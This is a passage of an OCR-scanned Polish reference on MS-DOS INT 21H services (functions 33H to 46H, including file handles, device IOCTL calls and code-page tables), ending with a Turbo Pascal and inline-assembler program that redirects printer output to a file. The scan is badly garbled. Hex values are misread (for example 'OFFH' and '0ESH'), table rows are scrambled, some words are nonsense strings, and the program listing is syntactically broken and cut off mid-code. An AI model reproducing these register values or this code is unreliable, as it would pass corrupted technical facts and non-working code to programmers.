o urzšdzeniu Opis: Funkcja zwraca adres bloku informacji o urzšdzeniu, którego numer został podany w DL. Jeœli nie ma w systemie urzšdzenia o takim numerze, to w rejestrze AL zwracana jest war- toœć OFFH. W przeciwnym wypadku AL zawiera 0, a w rejestrach DS:BX zwracany jest ad- res bloku informacji o urzšdzeniu (patrz funkcja 1 FH). Uwagi: Funkcja nie jest udokumentowana. BšdŸ ostrożny z jej używaniem. ů Funkcja 33H Nazwa: Pytanie o wrażliwoœć na znak Control-C lub jej ustalanie. Wywofanie: AH = 33H AL = 0 - pytaj o wrażliwoœć 1- ustaw wrażliwoœć DL = (jeœli AL=1 ) 0 - BREAK OFF 1- BREAK ON Powrót: DL = (jeœli AL=0) 0 - BREAK OFF = 1- BREAK ON AL = OFFH - w rejestrze AL byfa wartoœć inna niż 0 lub 1 Opis: Funkcja ustala wrażliwoœć systemu na naciœnięcie klawiszy Contol - C (Control - Break) lub pyta o tę wrażliwoœć. Jest ona równoważna systemowemu poleceniu BREAK. Znacze- nie parametrów jest opisane powyżej. Jeœli sygnalizator BREAK jest wyłšczony (OFF) to klawisze Control - C przerywajš tylko działanie funkcji O1 H - OCH, jeœli jest ustawiony (ON) to przerywajš dziafanie każdej funkcji systemowej. Uwagi: Jeœli chcesz używać w programie tunkcji 06H i 07H i traktować Control-C jako normalne znaki, to musisz się upewnić się, że BREAK jest wyłšczony. Funkcja 34H Nazwa: Pytanie o adres sygnalizatora pracy systemu. Wywolanie: AH = 34H Powrót: ES:BX - adres sygnalizatora pracy systemu. Opis: Funkcja zwraca adres sygnalizatora pracy systemu. Sygnalizator ten jest ustawiony (różny od zera) gdy wykonuje jakšœ czynnoœć, której nie należy mu przerywać. Sygnalizator ten jest często używany przez programy TSR, które sprawdzajš, czy mogš się uaktywnić. Syg- nalizator jest równiei ustawiony podczas czekania przez system na naciœnięcie klawisza. W takim wypadku jest wywofywane przerwanie 28H, które TSR może przechwyci‚ i rów- nież w ten sposób się uaktywniać. Uwagi: Funkcja nie udokumentowana. Korzystajš z niej jednak niektóre rezydentne programy sy- stemowe, jest więc szansa, że w przyszłych wersjach systemu będzie również zaimple- mentowana. Na wszelki wypadek podchodŸ do niej z rezerwš. . Funkcja 35H Nazwa: Pytanie o adres kodu obsługi przerwania ? Wywolanie: AH = 35H _ AL - numer przerwania Powrót: ES:BX - adres procedury obsługi przerwania Opis: Funkcja zwraca adres procedury obsługi przerwania o numerze podanym w AL. Uwagi: Firma Microsoft zastrzega, że w przysztych wersjach systemu MS-DOS tablica wektorów przerwari może znajdować się w innym miejscu pamięci, dlatego nie należy czytać adre- sów przerwari bezpoœrednio z pamięci, tylko przy pomocy tej funkcji. r Funkcja 36H Nazwa: Pytanie o rozmiar wolnego obszaru dla dysku. œţ ` Wywołanie: AH = 36H _ DL - Numer dysku (0=bieżšey,1=A, itd) Powrót: AX = ţ`ţ OFFFFH - błędnie podany numer dysku inna - liczba sektorów na blok przydziatu (cluster) BX - Liczba dostępnych bloków przydziału CX - Rozmiar sektora w bajtach DX - Ogólna liczba bloków przydziału na dysku 7 Opis: Funkcja zwraca rozmiar wolnej pamięci na dysku o numerze podanym w AL. Znaczenie pa- ; rametrów wyjœciowych znajduje się powyżej. Uwagi: Jak z tego widać rozmiar wolnej pamięci na dysku w bajtach to AX*BX*CX, a całkowita po- jemnoœć dysku to AX*CX*DX. Funkcja 37H Nazwa: Ustaw/Pobierz znak przekazywania parametrów Wywolanie: AH = 37H . AL = 0 - pytanie o znak przekazywania parametrów. 1- ustawianie znaku przekazywania parametrów DL - kod nowego znaku przekazywania parametrów (jeœli AL=1 ) Powrót: DL - kod bieżšcego znaku przekazywanie parametrów (jeœli AL=0) Opis: Funkcja ta zmienia znak przekazywania parametrów lub pyta o niego. Znaczenie parame- , ţ trów jest opisane powyżej. Standardowym znakiem przekazywania parametrów jest w sy- stemie MS-DOS '/' np (format a: /s) Uwagi: Funkcja nie jest udokumentowana. BšdŸ ostrożny z jej używaniem. Funkcja 38H :ţ; Nazwa: Pytanie o kod kraju lub ustalanie tego kodu Wywolanie: AH = 38H DX = OFFFFH - Ustalanie kodu kraju inna - pytanie o kod kraju AL = 0 - aktualny kraj Qeœli DX OFFFFH) 207 1-OFFH - kod kraju OFFH - kod znajduje się w BX BX - kod kraju powyżej OFFH (jeœli AX = OFFH) DS:DX - adres 32 bajtowego obszaru w pamięci (jeœli DX<>OFFFFH) Powrót: Ustawiony znacznik C: AX = 2 - błędny kod kraju Nie ustawiony C: BX - kod kraju (jeœli DX<>OFFFFH) Opis: Funkcja pozwala zmienić kod kraju użytkownika lub odczytać informację dotyczšcš danego kraju (sposób zapisu czasu i daty, układ klawiatury itd).Kod kraju jest równoczeœnie jego numerem telekomunikacyjnym. Wywolanie tej funkcji z zawartoœciš DX różnš od OFFFFH powoduje pobranie informacji o kraju, którego kod jest przekazany w rejestrach AL i BX. Je- œli AL zawiera 0 to uzyskujemy informacje o bieżšcym kraju, w przeciwnym wypadku, a kra- ju którego numer zawiera AL (jeœli mniejszy od OFFH) lub o kraju,którego kod jest sumš BX i OFFH ţeœli AL zawiera OFFH). Informacje o kraju sš zwracane pod adresem wskazywa- nym przez DS:DX i majš format: Offset Długoœć Nazwa Wartoœci Znaczenie 0 USA (m/d/r) 0 2 Postać daty 1 Europa (d/m/r) 2 ,laponia (r/mld) 2 5 Symbol waluty Tekst ASCIZ 7 2 Separator tysięcy Tekst ASCIZ 9 2 Symbol częœei ułamkowej Tekst ASCIZ OBH 2 Separator częœci daty Tekst ASCIZ ODH 2 Separator częœci czasu Tekst ASCIZ bit 0 = 0 Symbol waluty przed liczbš bit 0 =1 Symbol waluty za liczbš OFH 1 Pole bitów bit 1= 0 Liczba i symbol waluty bez odstępu bit 1=1 Odstęp między liczbš i symbolem waluty 1 OH 1 Liczba cyfr po kropce w walucie 0 Zegar 12-godzinny 11 H 1 Format czasu - 1 Zegar 24-godzinny Adres (daleki) procedury 12H 4 konwersji małych znaków na duże. _ _ 16H 2 ţ Symbol Separatora Tekst ASCIZ ţ 18H 8 Zarezerwowane W przypadku ydy DX przed wywolaniem funkcji zawiera -1 (OFFFFH) funkcja ustala kraj, którego numer jest przekazany w AL,BX (patrz wyżej) jako kraj aktualny w systernie. Uwagiţ Kod Polski w DOSie pištce wynosi 852 Kod ASCIZ jest to zwykfy kod ASCII, w którym znak o numerze 0 wskazuje koniec łaricu- cha.W tym kodzie każdy łaricuch musi być zakoriczony tym znakiem. 208 Funkcja 39H Nazwa: Tworzenie katalogu Wywolanie: AH = 39H DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę katalogu Powrót: Ustawiony znacznik C: AX - kod błędu (2,3,5) _ Nie ustawiony C: O.K. 1; : Opis: Funkcja tworzy katalog o nazwie podanej pod adresem DS:DX ` ' ţţ Funkcja 3AH Nazwa: Usuwanie katalogu Wywołanie: AH = 3AH DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę katalogu Powrót: Ustawiony znacznik C: AX - kod btędu (2,3,5,16) Nie ustawiony C: O.K. Opis: Funkcja usuwa katalog, którego nazwajest podana pod adresem DS:DX Funkcja 3BH Nazwa: Ustalanie katalogu bieżšcego Wywotanie: AH = 3BH DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę katalogu Powrót: Ustawiony znacznik C: 1 7 AX - kod bfędu (2,3) Nie ustawiony C: O.K. Opis: Funkcja ustala katalog, którego nazwa jest podana pod adresem DS:DX jako katalog bieżš- cy (zmienia katalog) Funkcja 3CH Nazwa: Tworzenie dojœcia Wywolanie: AH = 3CH DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku CX - atrybuty pliku Powrót: Ustawiony znacznik C: AX - kod błędu (2,3,4,5) Nie ustawiony C: AX - numer dojœcia Opis: Funkcja tworzy plik o podanej nazwie, równoczeœnie definiujšc dori dojœcie z uprawnienia- mi do czytania i pisania w pliku. Nowy plik ma zerowš długoœć i atrybuty przekazane w reje- strze CX. Jeœli plik o podanej nazwie już istnieje to zostaje zwolniona pamięć dyskowa przydzielona mu, nadana długoœć 0, ustalone nowe atrybuty i przyporzšdkowane dojœcie z uprawnieniami do czytania i pisania. Uwagi: Jeœli nie chcesz by funkcja ta przypadkiem zniszczyła zawartoœć starej wersji pliku, to sto- suj zamiennie funkcję 5BH - tworzenie nowego pliku. 209 Funkcja 3DH Nazwa: Otwieranie dojœcia Wywotanie: AH = 3DH AL = tryb dostępu DS:DX - adres łańcucha w kodzie ASCIZ zawierajšcego nazwę pliku Powrót: Ustawiony znacznik C: AX - kod błędu (2,3,4,5,12) Nie ustawiony C: AX - numer dojœcia Opis: Funkeja tworzy dojœcie do pliku, którego nazwa jest podana pod adresem DS:DX. Może to być dowolny plik w tym systemowy lub ukryty. Tryb dostępu do pliku jest przekazywany w AL. Znaczenie bitów jest następujšce: Próba utworzenia dojœcia, którego tryb dostępu byłby sprzeczny z dojœciami utworzonymi poprzednio kończy się btędem. W przypadku gdy system nie może utworzyć dojœcia z powodu konfliktu trybów dostępu lub innych przyczyn wywolywane jest przerwanie 24H z kodem błędu 2, a funkcja 59H jako kod btędu zwraca 32 (Błędna próba dostępu do pliku dzielonego). Funkcja 3EH Nazwa: Zamykanie dojœcia Wywofanie: AH =3EH BX - numer dojœcia ; ' Powrót: Ustawiony znacznik C: AX - kod bfędu (6) Nie ustawiony C: O.K. Opis: Funkcja zamyka dojœcie o numerze przekazanym w AX i ezyœci wszystkie bufory zwišzane z plikiem. Funkcja 3FH Nazwa: Czytanie przez dojœcie Wywofanie: AH = 3FH BX - numer dojœcia 210 CX - liczba bajtów do przeczytania. DS:DX - adres bufor Powrót: Ustawiony znacznik C: AX - kod błędu (5,6) Nie ustawiony C: AX - liczba przeczytanych bajtów Opis: Funkcja powoduje przeczytanie z dysku lub urzšdzenia zwišzanego z dojœciem którego nu- mer jest przekazany w BX tylu bajtów, ile przekazano w CX i przesłanie ich do bufora, któ- rego adres znajduje się w DS:DX. Po wykonaniu funkcji ustawienie znacznika C oznacza blšd. W przeciwnym razie w rejestrze AX znajduje się liczba przeczytanych bajtów. Po czy- taniu funkcja ustawia wewnętrzny wskaŸnik pozycji pliku tak, aby wskazywat na bajt nastę- pny po ostatnio przeczytanym, tak aby możliwe było sekwencyjne czytanie z pliku. Oczywi- œcie możesz tš sekwencyjnoœć popsuć stosujšc funkcję 42H. Uwagi: Nie zawsze fakt, iż liczba bajtów do przeczytania jest różna od liczby faktycznie przeczyta- nych bajtów musi oznaczać błšd. Na przykład jeœli dojœcie jest zwišzane z klawiaturš, to czytanie może się skoriczyć po naciœnięciu klawisza ENTER. Funkcja 40H Nazwa: Pisanie przez dojœcie Wywołanie: AH = 40H BX - numer dojœcia CX - liczba bajtów do zapisania DS:DX - adres bufora Powrót: Ustawiony znacznik C: AX - kod błędu (5,6) Nie ustawiony C: AX - liczba zapisanych bajtów Opis: Funkcja zapisuje do pliku lub urzšdzenia zwišzanego z dojœciem którego numer jest prze- kazany w rejestrze BX bajty znajdujšce się w buforze, którego adres zawiera DS:DX. Licz- ba bajtów do przeczytania jest przekazywana w rejestrze CX. Po zapisie wewnętrzny wskaŸnik pozycji pliku jest przesuwany tak, aby wskazywat na bajt następny po ostatnio za- pisanym. W ten sposów możliwe jest sekwencyjne zapisywanie w pliku. Wywolanie tej fun- kcji z zawartoœciš CX równš 0 powoduje zmianę wielkoœci pliku na takš jaka aktualnie wskazuje wskaŸnik pozycji. Znaczenie parametrów zwracanych przez funkcję jest opisane powyżej. Funkcja 41 H Nazwa: Usuwanie pozycji z katalogu Wywołanie: AH = 41 H DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku Powrót: Ustawiony znacznik C: AX - kod blędu (2,3,5) Nie ustawiony C: O.K. Opis: Funkacja usuwa plik z katalogu, którego nazwa znajduje si‡ pod adresem ţodanym w DS:DX. W nazwie nie mogš występować symbole specjalne ? i * . Nie można usunšć pli- ku z ustawionym atrybutem Read Only.W takim pliku należy najpierw zmienić atrybuty fun- kcjš 43H. Uwagi: Praktycznie kasowanie plików odbywa się w ten sposób, że w pierwszy znak jego nazwy w katalogu zostaje zastšpiony znakiem o kodzie 229 (0ESH) i zosfaje zwolniona parnięć dyskowa przydzielona mu. Natomiast sama zawartoœć pliku nie jest fizycznie niszczona. Stšd wiele programów potrafišcych odratować skasowane pliki (między innymi UNDELETE w DOSie pištce). Funkcja 42H Nazwa: Ustawianie wskaŸnika w pliku Wywolanie: AH = 42H AL - sposób przesuwania BX - numer dojœcia CX:DX - odległoœć, na którš należy przesunšć wskaŸnik pozycji Powrót: Ustawiony znacznik C: AX - kod blędu (1,6) Nie ustawiony C: DX:AX - nowe pofożenie wskaŸnika pozycji. Opis: Funkcja zmiania polożenie wewnętrznego wskaŸnika pozycji w pliku, zwišzanym z doj- œciem, którego numer przekazany jest w BX. Rejestry CX:DX zawierajš 32-bitowš odle- głoœć w bajtach. Zawartoœć rejestru AL okreœla punkt, od którego należy liczyć tę odle- głoœć. Znaczenie przekazywanych wartoœci jest następujšce: 0 - od poczštku pliku 1- od bieżšcej pozycji wskaŸnika 2 - od korica pliku W rejestrach DX:AX po zakoriczeniu funkcji jest zwracane nowe pofożenie wskaŸnika pozy- cji pliku. Uwagi: Funkcji tej możesz używać do okreœlenia długoœci pliku. Wywołaj jš z parametrami AI=2, CX=0, DX=0 a w rejestrach DX:AX dostaniesz rozmiar pliku. Jeœli odległoœć liczona jest od korica pliku to powinna być podana jako liczba ujemna. Do zapisu takich liczb stosuje sie kod uzupełnieniowy do 2. Jest to zmodyfikowany zapis liczby w systemie dwójkowym (patrz rozdziat I). Różni się on tylko tym, iż najbardziej znaczšca potęga dwójki jest dodawana ze znakiem ujemnym. Przykładowo 11111111 w fym kodzie oznacza -1 (-1*128+1*64+1*32+1*16+1+1*8+1*4+1*2+1*1)01111111 oznaczal27, a 11000000 -64. Praktycznie aby wpisać np liczbę -100 do rejestrów CX:DX wystarczy wy- konać instrukcje: MOV CX,-1;OFFFFH MOV DX,-100 Oczywiœcie procesor tylko z kontekstu wie, czy dana liczba jest zapisana dwójkowo, czy w kodzie uzupelnieniowym (np 81 H może oznaczać zarówno -127 jak i 129) i dlatego na programiœcie spoczywa obowiazek kontroli typów. Funkcja 43H Nazwa: Sprawdzanie lub zmiana atrybutów pliku Wywolanie: AH = 43H AL = 0 - pobranie atrybutów. , 1- zmiana atrybutów. CX - nowe atrybuty (jeœli AL =1 ) DS:DX - adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku Powrót: Ustawiony znacznik C: AX - kod bfędu (1,2,3,5) Nie ustawiony C: CX - atrybuty pliku (jeœli AL = 0) Opis: Funkcja pobiera (AL=0) lub ustawia(AL=1 ) atrybuty pliku, którego nazwa jest przekazana pod adresem DS:DX. Przy pomocy tej funkcji nie można zmieniać atrybutu identyfikatora dysku ani atrybutu katalogu. 212 Funkcje 4400H i 4401H Nazwa: Pytanie o opis urzšdzenia / ustalanie opisu urzšdzenia Wywolanie: AH = 44H AL = 0 - pytanie o opis urzšdzenia. 1- ustalanie opisu urzšdzenia BX - numer dojœcia do urzšdzenia DX - opis urzšdzenia (jeœli AL =1 ) Powrót: Ustawiony znacznik C: AX - kod błędu (1,6) Nie ustawiony C: DX - opis urzšdzenia (jeœli AL = 0) Opis: Funkcja pyta o stan urzšdzenia lub ustala go.Stan urzšdzenia jest przekazywany lub zwra- cany w rejestrze DX. W zależnoœci od wartoœci 7 bitu tego rejestru, dane o urzšdzeniu mo- ' gš być odczytywane na dwa sposoby: bit 7 - 1 Urzšdzenie znakowe 15 Zarezerwowane Urzšdzenie akceptuje polecenia przesyłane funkcjami 4402H i 4403H. Bit 14 1 tylko do odczytu. - 1 Urzšdzenie utrzymuje wyjœcie dopóki zajęte. Bit tylko do odczytu. 12 Zarezerwowane q carezerwowane 1 Urzšdzenie jest standardowym zegarem systemowym - 1 Urzšdzenie jest standardowym urzšdzeniem pustym (NULL) - 1 Urzšdzenie jest monitorem konsoli - 1 Urzšdzenie jest klawiaturš konsoli ţk ; bit 7 - 0 Urzšdzenie blokowe lub plik 15 8 Zarezerwowane ` 5 6 - 0 Do pliku coœ zapisywano od czasu ostatniej modyfikacji 0 5 Numer napędu Przy ustalaniu stanu urzšdzenia bity zarezerwowane i tylko do odczytu muszš być wyzerowane. Uwagi: Najlepszym sposobem zmiany jesf przeczyfanie opisu, zmiana odpowiednich bitów i wysła- nie do urzšdzenia. : ;:p' Funkcje 4402H i 4403H ;ţ* Nazwa: Wysłanie polecenia I Odbieranie informacji od urzšdzenia znakowego Wywołanie: AH = 44H AL = 2 - wysłanie polecenia do urzšdzenia znakowego 3 - odbieranie informacji od urzšdzenia znakowego BX - numer dojœcia do urzšdzenia CX - Liczba bajtów do przeczytanie / zapisania DS:DX - Adres bufora Powrót: Ustawiony znacznik C: AX - kod błędu (1,6) Nie ustawiony C: AX - Liczba przeczytanyeh bajtów Opis: Funkcja przesyła do urzšdzenia I odbiera z urzšdzenia znakowego polecenia i informacje. Znaczenie poleceri wydawanych tš drogš zależy od programu obsługi urzšdzenia znakowe- go (patrz rozdział 2). Uwagi: Funkcje te majš zamierzone działanie gdy ustawiony jest 14 bit opisu urzšdzenia (patrz fun- kcje 4400H i 4401 H). Funkcje 4403H i 4404H Nazwa: Wysłanie polecenia I Odbieranie intormacji od urzšdzenia blokowego Wywotanie: AH = 44H AL = 2 - wysłanie polecenia do urzšdzenia blokowego 3 - odbieranie informacji od urzšdzenia blokowego BX - numer urzšdzenia (0=dysk bieżšcy,1=A, 2=B itd.) CX - Liczba bajtów do przeczytanie / zapisania DS:DX - Adres bufora Powróf: Ustawiony znacznik C: AX - kod błędu (1,5) Nie ustawiony C: AX - Liczba pneczytanych bajtów Opis: Funkcja przesyła do urzšdzenia I odbiera z urzšdzenia blokowego polecenia i informacje. Znaczenie poleceri wydawanych tš drogš zależy od programu obsługi urzšdzenia blokowe- go (patrz rozdział 2). Funkcje 4406H i 4407H Nazwa: Pytanie o stan urzšdzenia wejœciowegolwyjœciowego Wywołanie: AH = 44H AL = 6 - Pytanie o stan urzšdzenia wejœciowego 7 - Pytanie o stan urzšdzenia wyjœciowego BX - numer dojœeia do urzadzenia Powrót: Ustawiony znacznik C: AX - kod błędu (1,5,6,13) Nie ustawiony C: AL = OOH - Urzšdzenie nie gotowe ; OFFH - Urzšdzenie gotowe (Przy czytaniu z pliku - koniec pliku) Opis: Funkcja zwraca stan urzšdzenia lub pliku zwišzanego z dojœciem, którego numer znajduje się w rejestrze BX. Znaczenie parametrów jest takie jak powyżej. P M 214 Funkcja 4408H Nazwa: Pytanie, ezy urzšdzenie ma wymienny noœnik Wywofanie: AH = 44H AL = 08H BX - numer urzšdzenia (0=dysk bieżšcy,1=A, 2=B itd.) Powrót: Ustawiony znacznik C: AX - kod blędu (1,15) _ Nie ustawiony C: AX = 0 - Urzšdzenie ma wymienny noœnik 1- Urzšdzenie nie ma wymiennego noœnika Opis: Funkcja zwraca w rejestrze AX informację, czy urzšdzenie o numerze przekazanym w BX ; posiada wymienny noœnik (Np. Stacja Dysków) , czy nie (Dysk twardy). Uwagi: Używaj tej funkcji na przykład wledy gdy na dysku nie ma plików potrzebnych programowi ţ i trzeba wydrukować komunikat o wymianie dyskietek. Sam kilkakrotnie w starszych grach I spotkałem się z napisami typu: " Put The Original Game Disk Into Drive C:", czy "Change Disk in Drive C Funkcja 4409H Nazwa: Pytanie, czy urzšdzenie blokowe jest dostępne przez sieć Wywofanie: AH = 44H AL = 09H BX - numer urzšdzenia (0=dysk bieżšcy,1=A, 2=B itd.) Powrót: Ustawiony znacznik C: AX - kod blędu (1,5) Nie ustawiony C: DX - atrybuty urzšdzenia Opis: Funkcja okreœla, czy urzšdzenie blokowe o numerze podanym w BX jest dostępne w sieci. w rejestrze DX zwracane sš atrybuty urzšdzenia. Jeœli bit 12 tych atrybutów jest wyzerowa- ny to urzšdzenie jest zainstalowane w komputerze lokalnym (czyli w tym, z którego wlaœnie : korzystasz). Jeœli w rejestrze DX przekazane jest słowo którego 12 bit jest ustawiony, a po- ţ zostałe wyzerowane to urzšdzenie jest urzšdzeniem odleglym (czyli jest zainstalowane w innym komputerze sieciowym). , Funkcja 440AH ; a ' Nazwa: Pytanie, czy plik lub urzšdzenie jest dostępne przez sieć Wywţanie: AH = 44H AL = OAH BX - numer dojœcia Powrót: Ustawiony znacznik C: AX - kod błędu (1,5) Nie ustawiony C: 'ţ' DX - atrybuty Opis: Funkcja okreœla, czy urzšdzenie lub plik zwišzane z dojœciem o numerze podanym w BX jest dostępne w sieci. w rejestrze DX zwracane sš atrybuty. Jeœli bit 15 tych atrybutów jest ţ wyzerowany to dojœcie prowadzi do pliku lub urzšdzenia lokalnego. Jeœli bit ten jest usta- i wiony, to urzšdzenie lub plik jest odległe (czyli zainstalowane w innym komputerze siecio- wym). ;* Funkcja 4408H Nazwa: Ustalanie liczby nawrotów Wywofanie: AH = 44H AL = OBH DX - Liczba nawrotów CX - Czas pomiędzy ponownymi próbami operacji dyskowych Powrót: Ustawiony znacznik C: AX - kod błędu (1) Nieustawiony C: O.K. Opis: Funkcja okreœla ile ma wykonać nawrotów operacji dyskowych, zakoriczonych błędem przejœciowy (Np próba dostępu do zarezerwowanego pliku) i jaki ma być czas pomiędzy ty- mi próbami. Po wykonaniu tej liczby nawrotów system w przypadku bfędu wywofa przerwa- nie 24H. Standardowo DOS powtarza operacje dyskowe trzy razy. OpóŸnienie między pró- bami jest realizowane po prostu przez instrukcje. MOV CX, czas delay: LOOP delay tak więc zależy od szybkoœci procesora. Funkcja 440CH Nazwa: Ustalanie matrycy znaków urzšdzeri Wywołanie: AH = 44H AL = OCH BX - numer dojœcia do urzšdzenia CH - Typ urzšdzenia: = 0 -nieznane =1 -COMn (urzędzenie szeregowe) = 3 -CON (konsola) = 5 -LPTn (Drukarka równoległa) CL = 4CH - Zacznij przygotowywa‚ matrycę 4DH - Przygotuj matrycę 4AH - Wybierz przygotowanš matrycę 6AH - Pobierz bieżšcš matrycę 6AH - Pobierz listę przygotowanych matryc DS:DX - Adres bufora z danymi Powrót: Ustawiony znacznik C: AX - kod błędu (1 ) ' Nie ustawiony C: DS:DX - Bufor z danymi może zawierać dodatkowe informacje. Opis: W systemie operacyjnym MS-DOS powyżej wersji 3.30 istnieje możliwoœć programowego wymieniania matryc znaków dla danego kraju. Niektóre programy obsługi urzšdzeri pobie- ' rajš informacje o matrycy znaków ze zbiorów z rozszerzeniem CPI (Code Page Info). Dzię- ki tej funkcji można zmieniać ustawione matryce znaków lub otrzymywać o nich informacje. (Matryca jest identyfikowana numerem, faktyczna jej zawartoœć zależy od urzšdzenia dla którego jest zdefiniowana) ţ Format danych funkcji (pod adresem DS:DXj r*ţ. 216 CL=4AH, 4DH, 6AH ' Offs Rozmiar Zawartoœ‚ -~~=; : +2 2 Rozmiar +4 2 Id Matr Identyfikator matrycy CL=4CH Offs Rozmiar Zawartoœć +2 2 Atrybuty +4 2 Rozmiar reszty danych w bajtach +6 2 Liczba mafryc (n) +8 2 b5 01 Pierwsza matryca(np 1 b5 H = 437 = USA) +OaH 2 Druga matryca +g 2 N-ta matryca CL=6BH Offs Rozmiar Zawartoœć +0 2 Dfugoœć listy w bajtach +2 2 Liczba matryc sprzętowych (N) ţ:ţ ţ: +4 2 Sprzętowa matryca nr 1 +6 2 Sprzętowa matryca nr 2 +? 2 Sprzętowa matryca nr N ţ `~~; +? 2 Liczba przygotowanych matryc (M) +? 2 Przygotowana matryca nr 1 ! +? 2 Przygotowana matryca nr 2 +? 2 Przygotowana matryca nr M Maksymalnie może istnieć 12 sprzętowych i dwanaœcie przygotowanych matryc. Uwagi: Struktura pliku z definicjš matryc znaków (.CPI) przedstawia się następujšco: Nagłówek matrycy Nazwa matrycy Offset bloku informacji o znakach Informacje o znakach Informacja o matrycy WskaŸnik na następnš matrycę -ţ;=ţţ' Typ urzšdzenia 217 Numer matrycy Offset danych o znakach Dane o fontach Liczba zdefiniowanych fontów (N) Font 1 wiersze,kolumny (np VGA:16, 8) Liczba zdefiniowanyeh znaków definicje znaków Font 2 Font n Funkcja 440DH Nazwa: Ogólna kontrola urzšdzeri blokowych Wywołanie: AH = 44H AL = ODH BL- numer dysku (0-bieżšcy,1=A, 2=B, itd.) CH = 08H CL - Kod funkcji patrz poniżej DS:DX - adres bloku parametrów -1 Powrót: Ustawiony znacznik C: AX - kod błędu (1,2) Nie ustawiony C: O.K. Opis: Funkcja służy do czytania, pisania, formatowania dysku logicznego. Następujšce kody sub- i funkcji mogš być przekazywane w rejestrze BL: Kod Znaczenie 40H Ustal parametry urzšdzenia 41 H Zapisz œcieżkę urzšdzenia logicznego 42H Formatuj œcieżkę urzšdzenia logicznego 60H Pobierz parametry urzšdzenia 61 H Czytaj œcieżkę urzšdzenia logicznego 62H Weryfikuj œcieżkę urzšdzenia logicznego , Postać bloku parametrów dla poszczególnych sub-funkcji: ' CL=40H,CL=60H: Ba]t Funkc]e Specjalne ! Bajt Typ Urzšdzenia Słowo Atrybuiy Urzšdzenia i Słowo Liezba Cylindrów T,n AlnćniLţ BPB urzšdzenia Ułożenie Scieżek i'ţjt 218 Znaczenie poszczególnych pól jest następujace: Funkcje Specjalne: ' ~i , Bit Wartoœć Znaczenie 0 0 Pole BPB urzšdzenia zawiera nowe BPB dla tego urzadzenia 1 1 Ignoruj wszystkie pola bloku poza Ułożeniem cieżek 2 0 Sektory w œcieżce nie mogš być jednakowych rozmiarów 3..7 0 Muszš być wyzerowane Typ Urzšdzenia: Wartoœć Znaczenie: 0 320/360 KB 1 1.2 MB 2 720 KB 3 8" pojedyncza rozdzielczoœć 4 8" podwójna rozdzielczoœć 5 Dysk twardy 6 Taœma magnetyczna 7 Inne Atrybuty Urzšdzenia: Bit Wartoœć Znaczenie 0 1 Urzšdzenie z wymiennym noœnikiem 1 1 Urzšdzenie dyskowe wymagajace zamknięcia 2..7 J;ţ , Typ Noœnika: Jeœli bit 0 = 0, to jest to stacja dysków gęstych (1.2 MB), jeœli bit 0=1, to stacja dysków pod- wójnej gęstoœci (360 KB) BPB urzšdzenia: Jeœli bit 0 Funkcji Specjalnych = 0 to pole to zawiera nowy blok BPB (patrz rozdział 2) dla tego bloku. _ Ułożenie œcieżek: Pole ma następujšcy format: Liczba sektorów na dysku (N) Numer sektora 1 Rozmiar sektora 1 Numer sektora N Rozmiar sektora N CL=41 H, CL=61 H Bajt Funkcje Specjalne (=0) ţţ ` ţţ Słowo Numer Głowicy Slowo Numer Cylindra Slowo Numer Pierwszego Sektora 219 Słowo Liczba Sektów ..ţ,., CL=42H, CL=62H Bajt Funkcj‚ Specjalne (=0) Słnwn Ni imnr rFnwicv Funkcje 440EH,440FH Nazwa: PobierzlUstaw mapę urzšdzenia Wywołanie: AH = 440H AL = OEH - Pobranie urzšdzenia logicznego zwišzanego z fizycznym OFH - Ustalenie urzšdzenia logicznego BX - numer urzšdzenia (0=dysk bieżšcy,1=A, itd. ;jeœli AL=OFH) Powrót: Ustawiony znacznik C: AX - kod błędu (1,5) Nie ustawiony C: AL - urzšdzenie logiczne przyporzšdkowane do fizycznego.(jeœli AL = OEH; zwraca 0 jeœli z urzšdzeniem fizycznym jest zwiazane tylko jedno urzšdzenie logiczne) Opis: Funkcja pozwala zwišzać urzšdzenie logiczne z fizycznym. Funkcja jest przydatna tylko wtedy gdy jednemu urzšdzeniu blokowemu odpowiada więcej niż jedno urzšdzenie logicz- ne Funkcja 45H Nazwa: Kopiowanie dojœcia Wywofanie: AH = 45H BX = numer dojœcia Powrót: Ustawiony znacznik C: AX - kod błędu (4,6) Nie ustawiony C: AX - nowe dojœcie Opis: Funkcja tworzy nowe dojœcie do pliku. W rejestrze AX podawany jest numer dojœcia do pli- , ku, w rejestrze BX funkcja zwraca nowy numer dojœcia do tego samego pliku. Uwagi: Funkcji tej używa się zazwyczaj wraz z funkcjš 46H do zmiany standardowych strumieni. Funkcja 46H Nazwa: Zmiana dojœcia Wywołanie: AH = 46H BX - numer pierwotnego dojœcia ' CX - numer w',órnego dojœcia ' Powrót: Ustawiony znacznik C: AX - kod błędu (4,6) Nie ustawiony C: O.K. ţr Opis: Powyższa funkcja zmienia dojœcie wtórne, przekazane w CX, tak aby było kopiš dojœcia i pierwotnego, przekazanego w BX. Stosuje się jš zazwyczaj przy zmianie znaczeri standar- dowych strumieni. Uwagi: Poniżej znajduje się program zmieniajacy znaczenie standardowego strumienia drukarki, ţ tak aby był on zwišzany z plikiem. Dla uproszczenia czynnoœci zwišzanych z uruchamia- niem procesu program jest napisany w Turbo Pascalu. {*****************************************************************} I {* *} { Program Druk Andrzej Dudek Pazdziernik 1992 *} * * *} {* Uruchomienie proţramu ktorego nazwa jest przekazywana jako *} {* parametr oraz skierowanie standardowego strumienia drukarki *} * {* do zbioru. *} * {* Uzycie : *} {* Druk nazwa zbioru tekstowego nazwaţrogramu parametryţprogramu*} {* {*****************************************************************} {$M 4000,0,0} {$f+} uses dos; Var Progr,Drukarka,Parametry:String; i : byte ; Label Tymcz,Druk; begin If Paramcount=0 Then Begin Writeln('Podaj nazwe zbioru do ktorego kierowane maja byc wydruki:'); Readln(Drukarka)ţ Drukarka:=Drukarka+#0; End Else Drukarka:=Paramstr(1)+#0; If Paramcount<=1 Then Begin Writelnů Writeln('Podaj nazwe programu do uruchomienia:'); Readln(Progr); End ; Else Progr:=Paramstr(2); Parametry:= ţ For i:=3 To Paramcount Do Parametry:=Parametry+Paramstr i)+' , JMP @ 1 Druk: db ' db ' Tymc z : db 0 , 0 ţ "` @1: PUSH DS MOV AX , SEG Tymc z MOV DS , AX MOV AX,SEG Drukarka MOV E S , AX 